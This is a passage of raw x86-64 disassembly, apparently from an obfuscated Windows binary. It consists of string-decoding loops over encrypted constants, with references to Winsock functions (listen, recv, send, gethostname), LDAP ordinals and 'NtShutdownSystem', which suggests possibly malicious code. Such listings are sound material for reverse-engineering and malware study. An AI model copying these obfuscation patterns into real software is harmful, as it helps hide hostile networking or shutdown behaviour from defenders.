add cl, cl
sub dl, cl
lea ebx, [r11 + rdx]
sub bl, 0x1c
jmp 0x14011f108
add r10b, 0x1a
movzx ecx, r10b
and cl, r11b
mov edx, Ordinal_41
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r10b
add bl, r11b
dec rdi
inc rdi
jmp 0x14011e752
add r10b, 0x30
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea ebx, [r11 + r10]
sub bl, 0x50
inc r9
dec rdi
inc rdi
jmp 0x14011e752
lea r8d, [r10 + 0x46]
movzx ecx, r8b
and cl, r11b
mov edx, listen
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r8b
add bl, r11b
jmp 0x14011f0c5
lea rcx, [r9 + 8]
cmp rax, rcx
jae 0x14011ed84
lea edx, [r10 + 0x75]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea ebx, [r11 + rdx]
sub bl, 0x33
jmp 0x14011ec06
lea rdx, [r9 + 1]
cmp rax, rdx
jne 0x14011edb7
add r10b, 0x32
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea ebx, [r11 + r10]
sub bl, 0x5e
movzx ecx, byte [rbp + rdi - 0x20]
add rcx, r9
add rdi, rcx
inc rdi
jmp 0x14011e752
lea rcx, [r9 + 2]
cmp rax, rcx
jne 0x14011edda
lea edx, [r10 + 6]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea ebx, [r11 + rdx]
sub bl, 0x2a
jmp 0x14011f15a
lea rcx, [rdx + 1]
cmp rax, rcx
jne 0x14011ee03
sub r10b, 0x26
movzx ecx, r10b
and cl, r11b
mov edx, 5
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r10b
add bl, r11b
jmp 0x14011f127
lea rcx, [r9 + 4]
cmp rax, rcx
jne 0x14011ee26
lea edx, [r10 - 0x3c]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea ebx, [r11 + rdx]
sub bl, 0x5c
jmp 0x14011f108
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x14011ee54
sub r10b, 0x68
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea ebx, [r11 + r10]
sub bl, 0x28
inc r9
dec rdi
inc rdi
jmp 0x14011e752
lea rcx, [r9 + 6]
cmp rax, rcx
jne 0x14011ec06
lea r8d, [r10 - 0x7e]
movzx ecx, r8b
and cl, r11b
mov edx, reloc.WS2_32.dll_gethostname
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r8b
add bl, r11b
jmp 0x14011f0c5
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x14011eea4
lea edx, [r10 - 0x35]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea ebx, [r11 + rdx]
add bl, 0x73
jmp 0x14011f0c5
inc rcx
cmp rax, rcx
jne 0x14011eece
sub r10b, 0x61
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea ebx, [r11 + r10]
sub bl, 0x59
dec rdi
inc rdi
jmp 0x14011e752
lea rcx, [r9 + 4]
cmp rax, rcx
jne 0x14011eef3
add r10b, 0x73
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea ebx, [r11 + r10]
sub bl, 0x25
jmp 0x14011f127
lea rcx, [r9 + 6]
cmp rax, rcx
jne 0x14011ebc3
add r10b, 0x5d
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea ebx, [r11 + r10]
add bl, 0x75
jmp 0x14011f12a
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x14011ef53
add r10b, 0x64
movzx ecx, r10b
and cl, r11b
mov edx, Ordinal_35
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r10b
add bl, r11b
movzx ecx, byte [rbp + rdi - 0x20]
add rcx, r9
add rdi, rcx
inc rdi
jmp 0x14011e752
inc rcx
cmp rax, rcx
jne 0x14011ef77
add r10b, 0x4e
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea ebx, [r11 + r10]
sub bl, 0x22
jmp 0x14011f182
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x14011efa0
lea r8d, [r10 + 0x38]
movzx ecx, r8b
and cl, r11b
mov edx, reloc.WLDAP32.dll_Ordinal_60
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r8b
add bl, r11b
jmp 0x14011f15a
lea rcx, [r9 + 6]
cmp rax, rcx
jne 0x14011efcb
sub r10b, 0x20
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea ebx, [r11 + r10]
sub bl, 0x20
dec rdi
inc rdi
jmp 0x14011e752
lea rcx, [r9 + 4]
cmp rax, rcx
jne 0x14011effd
sub r10b, 0x36
movzx ecx, r10b
and cl, r11b
mov edx, 0x3d
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r10b
add bl, r11b
inc r9
dec rdi
inc rdi
jmp 0x14011e752
lea rcx, [r9 + 2]
cmp rax, rcx
jne 0x14011eb83
lea r8d, [r10 - 0x4c]
movzx ecx, r8b
and cl, r11b
mov edx, 0xa
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r8b
add bl, r11b
jmp 0x14011f0c5
lea r8d, [r10 - 0x78]
movzx ecx, r8b
and cl, r11b
movzx edx, r11b
sub dl, cl
add dl, 0x24
lea ebx, [rdx + rdx]
add bl, r8b
jmp 0x14011f108
lea edx, [r10 + 0x72]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea ebx, [rdx - 0x1e]
jmp 0x14011f15a
lea edx, [r10 - 1]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea ebx, [r11 + rdx]
add bl, 7
jmp 0x14011f15a
add r10b, 0x2b
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea ebx, [r11 + r10]
sub bl, 0x2d
jmp 0x14011f127
lea edx, [r10 - 0x7d]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea ebx, [r11 + rdx]
add bl, 0x6b
jmp 0x14011f0c5
movzx r10d, dil
lea edx, [r10 - 0x51]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea ebx, [r11 + rdx]
add bl, 0x37
add r10b, 0x13
movzx ecx, r11b
and cl, r10b
add cl, cl
sub r11b, cl
add r11b, 0x7b
add r11b, r10b
mov byte [rbp + rdi - 0x20], r11b
inc r9
dec rdi
inc rdi
jmp 0x14011e752
movzx r10d, dil
lea edx, [r10 - 0xf]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea ebx, [r11 + rdx]
add bl, 0x69
sub r10b, 3
movzx ecx, r11b
and cl, r10b
add cl, cl
movzx edx, bl
sub dl, cl
add dl, 0x15
add dl, r11b
add dl, r10b
mov byte [rbp + rdi - 0x20], dl
add rax, r9
movzx ecx, bl
mov rdx, 0xffffffffffffffff
sub rdx, rcx
add rdi, rdx
inc rdi
jmp 0x14011e752
lea rcx, [rdi + r15]
and r8b, cl
add r8b, r8b
sub cl, r8b
lea ebx, [r11 + rcx]
sub bl, 0x65
movzx r10d, dil
sub r10b, 0x19
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
sub r10b, 0x51
add r10b, r11b
movzx ecx, r10b
mov byte [rbp + rdi - 0x20], cl
inc r9
add rcx, r9
sub rdi, rcx
lea r8d, [rdi + 0x5c]
movzx ecx, r8b
and cl, r11b
mov edx, 0x3e
sub dl, cl
add dl, dl
add dl, r8b
add dl, r11b
mov byte [rbp + rdi - 0x20], dl
inc rax
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
movzx ecx, byte [rbp + rdi - 0x20]
add rcx, r9
add rdi, rcx
inc rdi
jmp 0x14011e752
lea rcx, [rdi + r14]
and r8b, cl
add r8b, r8b
sub cl, r8b
lea ebx, [r11 + rcx]
add bl, 0x67
movzx ecx, byte [rbp + rdi - 0x20]
add rcx, r9
add rdi, rcx
inc rdi
jmp 0x14011e752
sub r10b, 0x37
movzx ecx, r11b
and cl, r10b
add cl, cl
sub r11b, cl
lea ebx, [r10 + r11]
sub bl, 0x7f
jmp 0x14011e750
sub r10b, 0x21
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
sub bl, 0x19
jmp 0x14011e740
lea rdx, [rbp + 0x16d1e7c]
jmp 0x14011f238
lea rdx, [rbp + 0x70baf1]
jmp 0x14011f238
lea rdx, [rbp - 0x20]
mov rcx, qword [0x1402cdcd0]
call fcn.1400d0bf0
mov rsi, qword [0x1402cdf00]
mov dword [rbp + 0x90], 0x9824902d
mov dword [rbp + 0x94], 0xe49899ed
mov dword [rbp + 0x98], 0xdb9c2dea
mov dword [rbp + 0x9c], 0xd2dfa4ad
mov dword [rbp + 0xa0], 0xab14d9d1
mov dword [rbp + 0xa4], 0x1fd3d0dd
mov dword [rbp + 0xa8], 0xf31cffed
mov dword [rbp + 0xac], 0x29b00aba
mov byte [rbp + 0xb0], Ordinal_41
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xb1], xmm0
movups xmmword [rbp + 0xc1], xmm0
mov word [rbp + 0xd1], ax
movabs r14, 0x6e2951d8b47deb55
movabs r12, 0x3213cecef716f53
movabs r15, 0x4a7bf58a1d79c1ff
movzx edx, byte [rbp + 0x150]
nop dword [rax]
nop word [rax + rax]
mov r9, qword [0x1402cdf20]
mov r8, qword [0x1402cdf18]
nop
xor ebx, ebx
cmp rbx, 0x43
jae 0x14011fd24
movzx r11d, byte [rbp + rbx + 0x90]
mov edi, r11d
nop dword [rax + rax]
cmp r9, rbx
ja 0x14011fd1b
lea rax, [r8 + 1]
cmp r9, rax
jae 0x14011f34b
lea rcx, [rbx + r14]
mov rax, rdi
and rax, rcx
imul rdx, rax, 0xfffffffffffffffe
add rdx, rdi
add rdx, rcx
sub dl, 0x53
jmp 0x14011f378
je 0x14011fcb0
lea rax, [r8 + 3]
cmp r9, rax
je 0x14011fc2b
lea rax, [r8 + 2]
cmp r9, rax
je 0x14011fc09
lea rax, [r8 + 4]
cmp r9, rax
je 0x14011fbc3
movzx r10d, bl
nop dword [rax]
cmp r8, rbx
ja 0x14011fd12
lea rax, [r8 + 9]
cmp r9, rax
jae 0x14011f3a9
lea ecx, [r10 - 7]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x31
jmp 0x14011f3f0
lea rax, [r8 + 1]
cmp r9, rax
je 0x14011fbac
lea rax, [r8 + 3]
cmp r9, rax
je 0x14011fb8a
lea rax, [r8 + 4]
cmp r9, rax
je 0x14011fb38
lea rax, [r8 + 5]
cmp r9, rax
je 0x14011fb1f
lea rax, [r8 + 8]
cmp r9, rax
je 0x14011faf2
nop word [rax + rax]
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x14011f7ae
nop dword [rax]
lea rax, [r8 + 0x7a]
cmp r9, rax
je 0x14011f791
lea rax, [r8 + 2]
cmp r9, rax
je 0x14011f76c
lea rax, [r8 + 8]
cmp r9, rax
je 0x14011f746
lea rax, [r8 + 0x28]
cmp r9, rax
je 0x14011f729
lea rax, [r8 + 0x200]
cmp r9, rax
je 0x14011f70d
lea rax, [r8 + 0x41]
cmp r9, rax
je 0x14011f6f1
lea rax, [r8 + 3]
cmp r9, rax
je 0x14011f6c0
lea rax, [r8 + 9]
cmp r9, rax
je 0x14011f400
lea r9, [r8 + 0x64]
lea r8, [r9 + 0x40]
lea rax, [r8 + 0x20]
cmp r9, rax
jb 0x14011fcf6
lea rax, [r8 + 0x80]
cmp r9, rax
jb 0x14011fcda
lea rax, [r8 + 0x61]
cmp r9, rax
jb 0x14011f586
lea rax, [r8 + 1]
cmp r9, rax
jb 0x14011f56c
lea rax, [r8 + 6]
cmp r9, rax
jb 0x14011f552
lea rax, [r8 + 0x28]
cmp r9, rax
jb 0x14011f688
lea rax, [r8 + 0x200]
cmp r9, rax
jb 0x14011f662
lea rax, [r8 + 0x7a]
cmp r9, rax
jb 0x14011f400
lea r9, [r8 + 4]
lea r8, [r9 + 2]
lea rax, [r8 + 0x2a]
cmp r9, rax
ja 0x14011f635
lea rax, [r8 + 5]
cmp r9, rax
ja 0x14011f615
lea rax, [r8 + 0x10]
cmp r9, rax
ja 0x14011f5f8
lea rax, [r8 + 0x64]
cmp r9, rax
ja 0x14011f5dc
lea rax, [r8 + 0x1000]
cmp r9, rax
ja 0x14011f5bc
lea rax, [r8 + 6]
cmp r9, rax
ja 0x14011f5a2
lea rax, [r8 + 0x20]
cmp r9, rax
ja 0x14011f400
lea r9, [r8 + 0x3e8]
lea r8, [r9 + 0x80]
jmp 0x14011f400
lea ecx, [r10 + 0x27]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x11
jmp 0x14011f3f0
lea ecx, [r10 + 0x7d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x6b
jmp 0x14011f380
sub r10b, 0x2d
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x3b
jmp 0x14011f320
lea ecx, [r10 - 0x38]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x78
jmp 0x14011fbdc
add r10b, 0x20
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x14011fb6f
add r10b, 0x76
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x3a
jmp 0x14011fb72
lea edx, [r10 - 0x34]
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x14011fc45
add r10b, 0x22
movzx eax, r10b
and al, r11b
mov ecx, 9
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x14011fc70
add r10b, 0x78
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x48
movzx eax, byte [rbp + rbx + 0x90]
add rax, r8
add rbx, rax
inc rbx
jmp 0x14011f302
sub r10b, 0x31
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x57
mov byte [rbp + rbx + 0x90], dl
inc rbx
jmp 0x14011f302
lea ecx, [r10 + 0x25]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 3
cmp r8, 0x20
jb 0x14011f679
lea ecx, [r10 - 0x22]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, r11b
lea edx, [rcx*2 - 0x24]
jmp 0x14011fbdc
sub r10b, 0x2a
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rbx + 0x90]
add rax, r8
add rbx, rax
inc rbx
jmp 0x14011f302
add r10b, 0x2c
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x34
jmp 0x14011fc70
add r10b, 0x2e
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x42
jmp 0x14011fb6f
lea edx, [r10 - 0x7c]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x14011fb4d
sub r10b, 0x26
movzx eax, r10b
and al, r11b
mov ecx, 5
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
dec rbx
inc rbx
jmp 0x14011f302
add r10b, 0x30
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x50
inc r8
dec rbx
inc rbx
jmp 0x14011f302
lea edx, [r10 - 0x7a]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_46
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x14011fbdc
lea rax, [r8 + 0x5a]
cmp r9, rax
jae 0x14011f833
lea ecx, [r10 + 0x55]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x53
lea rax, [r8 + r9]
cmp rax, 9
je 0x14011fadc
lea rax, [r8 + 6]
cmp r9, rax
jbe 0x14011f940
lea ecx, [r10 + 0x41]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x39
cmp r9, 0x7a
jae 0x14011fac3
lea rax, [r8 + 0x1000]
cmp r9, rax
jbe 0x14011fa10
lea edx, [r10 + 0x3a]
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x14011f69d
lea rax, [r8 + 1]
cmp r9, rax
jne 0x14011f86d
sub r10b, 0xe
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rbx + 0x90]
add rax, r8
add rbx, rax
inc rbx
jmp 0x14011f302
lea rax, [r8 + 3]
cmp r9, rax
jne 0x14011f893
lea edx, [r10 + 0x46]
movzx eax, dl
and al, r11b
mov ecx, listen
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x14011fc45
lea rax, [r8 + 5]
cmp r9, rax
jne 0x14011f8b9
lea edx, [r10 + 0x44]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x14011fb4d
lea rax, [r8 + 7]
cmp r9, rax
jne 0x14011f8e8
sub r10b, 0x12
movzx eax, r10b
and al, r11b
mov ecx, 0x3f
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
dec rbx
inc rbx
jmp 0x14011f302
lea rax, [r8 + 2]
cmp r9, rax
jne 0x14011f916
sub r10b, 0x68
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x28
inc r8
dec rbx
inc rbx
jmp 0x14011f302
lea rax, [r8 + 4]
cmp r9, rax
jne 0x14011f7cc
lea edx, [r10 + 0x42]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_27
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x14011fbdc
lea rcx, [r8 + 1]
cmp r9, rcx
jne 0x14011f963
lea ecx, [r10 - 0x15]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x6d
jmp 0x14011fbdc
lea rax, [r8 + 2]
cmp r9, rax
jne 0x14011f98e
add r10b, 0x3f
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x47
dec rbx
inc rbx
jmp 0x14011f302
lea rax, [rcx + 1]
cmp r9, rax
jne 0x14011f9b1
lea ecx, [r10 - 0x17]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x5f
jmp 0x14011fb4d
lea rax, [r8 + 3]
cmp r9, rax
jne 0x14011f9d6
add r10b, 0x3d
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x55
jmp 0x14011fb72
lea rax, [r8 + 9]
cmp r9, rax
jne 0x14011f7fc
add r10b, 0x3b
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x63
movzx eax, byte [rbp + rbx + 0x90]
add rax, r8
add rbx, rax
inc rbx
jmp 0x14011f302
lea rax, [r8 + 1]
cmp r9, rax
jne 0x14011fa46
sub r10b, 0x1c
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x3c
movzx eax, byte [rbp + rbx + 0x90]
add rax, r8
add rbx, rax
inc rbx
jmp 0x14011f302
inc rax
cmp r9, rax
jne 0x14011fa6e
sub r10b, 0x72
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x14011fc70
lea rax, [r8 + 2]
cmp r9, rax
jne 0x14011fa94
lea edx, [r10 + 0x38]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x14011fc45
lea rax, [r8 + 7]
cmp r9, rax
jne 0x14011f69d
sub r10b, 0x20
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x20
dec rbx
inc rbx
jmp 0x14011f302
lea edx, [r10 - 0x78]
movzx eax, dl
and al, r11b
movzx ecx, r11b
sub cl, al
add cl, 0x24
add cl, cl
add dl, cl
jmp 0x14011fb4d
lea ecx, [r10 + 0x32]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [rcx - 0x5e]
jmp 0x14011fc45
sub r10b, 0xd
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x5b
movzx eax, byte [rbp + rbx + 0x90]
add rax, r8
add rbx, rax
inc rbx
jmp 0x14011f302
sub r10b, 0xb
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x4d
jmp 0x14011fb72
lea ecx, [r10 - 0x5f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x67
sub r10b, 0x23
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0xb
add r10b, r11b
add r10b, dl
mov byte [rbp + rbx + 0x90], r10b
add r9, r8
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14011f302
sub r10b, 9
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x3f
dec rbx
inc rbx
jmp 0x14011f302
lea ecx, [r10 - 0x5d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x75
jmp 0x14011fbdc
movzx r10d, bl
lea ecx, [r10 + 0x4f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x29
add r10b, 0x33
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x65
add r10b, r11b
mov byte [rbp + rbx + 0x90], r10b
inc r8
dec rbx
inc rbx
jmp 0x14011f302
lea ecx, [rbx - 0x5b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x7d
inc r8
dec rbx
inc rbx
jmp 0x14011f302
lea rcx, [rbx + r12]
and dil, cl
add dil, dil
movzx edx, r11b
sub dl, dil
sub dl, 0x45
add dl, cl
movzx r10d, bl
sub r10b, 0x79
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
add r10b, 0x4f
add r10b, r11b
movzx eax, r10b
mov byte [rbp + rbx + 0x90], al
inc r8
add rax, r8
sub rbx, rax
lea ecx, [rbx - 0x24]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 4
add cl, r11b
mov byte [rbp + rbx + 0x90], cl
inc r9
mov rax, 0xffffffffffffffff
sub rax, r9
add rbx, rax
movzx eax, byte [rbp + rbx + 0x90]
add rax, r8
add rbx, rax
inc rbx
jmp 0x14011f302
lea rax, [rbx + r15]
and dil, al
add dil, dil
sub r11b, dil
lea edx, [rax + r11]
add dl, 7
movzx eax, byte [rbp + rbx + 0x90]
add rax, r8
add rbx, rax
inc rbx
jmp 0x14011f302
add r10b, 0x29
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x1f
jmp 0x14011f300
add r10b, 0x7f
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x79
jmp 0x14011f2f0
lea rdx, [rbp + 0x15a1dac]
jmp 0x14011fd2b
lea rdx, [rbp + 0x580901]
jmp 0x14011fd2b
lea rdx, [rbp + 0x90]
mov r9, rsi
lea r8, str.NtShutdownSystem
mov rcx, qword [0x1402cdcd0]
call fcn.140128270
movzx esi, word [0x1402cdf10]
mov dword [rbp + 0x50], 0x3360cc79
mov dword [rbp + 0x54], 0x7f232421
mov dword [rbp + 0x58], 0xd626272f
mov dword [rbp + 0x5c], 0x6074d925
mov dword [rbp + 0x60], 0xdb607110
mov dword [rbp + 0x64], 0x6f76e56d
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x68], xmm0
mov qword [rbp + 0x78], rax
mov word [rbp + 0x80], ax
mov byte [rbp + 0x82], al
movabs r14, 0xa18334ffcefbd1cb
movabs r12, 0x6a9672fea8e2bc8d
movabs r15, 0xe4899eff6cf37561
movzx edx, byte [rbp + 0x150]
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x1402cdf20]
mov r9, qword [0x1402cdf18]
nop
xor ebx, ebx
cmp rbx, 0x33
jae 0x1401208dd
movzx r10d, byte [rbp + rbx + 0x50]
mov edi, r10d
cmp r8, rbx
ja 0x1401208d4
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14011fe10
lea rcx, [rbx + r14]
mov rax, rdi
and rax, rcx
imul rdx, rax, 0xfffffffffffffffe
add rdx, rdi
add rdx, rcx
add dl, 0x73
jmp 0x14011fe3c
je 0x14012086c
inc rax
cmp r8, rax
je 0x1401207f0
lea rax, [r9 + 3]
cmp r8, rax
je 0x1401207d1
lea rax, [r9 + 5]
cmp r8, rax
je 0x14012078e
movzx r11d, bl
cmp r9, rbx
ja 0x1401208cb
lea rax, [r9 + 0x400]
cmp r8, rax
jae 0x14011fe6c
lea ecx, [r11 - 0x59]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x6f
jmp 0x14011feb0
lea rax, [r9 + 1]
cmp r8, rax
je 0x140120775
inc rax
cmp r8, rax
je 0x140120750
lea rax, [r9 + 3]
cmp r8, rax
je 0x14012072e
lea rax, [r9 + 4]
cmp r8, rax
je 0x1401206fc
lea rax, [r9 + 6]
cmp r8, rax
je 0x1401206d2
nop dword [rax]
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x1401203f4
nop dword [rax]
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x1401203d7
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1401203ae
lea rax, [r9 + 4]
cmp r8, rax
je 0x140120388
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x14012036d
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x14012034d
lea rax, [r9 + 9]
cmp r8, rax
je 0x140120331
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x140120317
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1401202f9
lea rax, [r9 + 3]
cmp r8, rax
je 0x1401202cf
lea rax, [r9 + 2]
cmp r8, rax
je 0x14011fec0
lea r8, [r9 + 5]
lea r9, [r8 + 0x200]
lea rax, [r9 + 4]
cmp r8, rax
jb 0x1401208af
lea rcx, [r9 + 0x400]
cmp r8, rcx
jb 0x140120893
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1401200a3
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x140120089
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x14012006f
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x140120286
lea rax, [r9 + 3]
cmp r8, rax
jb 0x14012023e
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x140120201
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x1401201de
lea rax, [r9 + 8]
cmp r8, rax
jb 0x14011fec0
mov r8, rcx
lea r9, [rcx + 0x7a]
lea rax, [r9 + 0xa]
cmp rcx, rax
ja 0x1401201b0
lea rcx, [r9 + 0x5a]
cmp r8, rcx
ja 0x140120190
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x140120175
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x140120159
lea rax, [r9 + 3]
cmp r8, rax
ja 0x14012013d
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x140120123
lea rax, [r9 + 9]
cmp r8, rax
ja 0x140120101
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1401200dc
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1401200bf
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x14011fec0
mov r8, rcx
lea r9, [rcx + 2]
jmp 0x14011fec0
lea ecx, [r11 + 0x39]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x71
jmp 0x14011feb0
lea ecx, [r11 - 0x5d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x75
jmp 0x14011fe40
add r11b, 0xd
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x5b
jmp 0x14011fde5
lea edx, [r11 + 0x38]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x1401207a7
sub r11b, 0x5e
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x6e
inc r9
dec rbx
inc rbx
jmp 0x14011fdd2
add r11b, 0xc
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x54
dec rbx
inc rbx
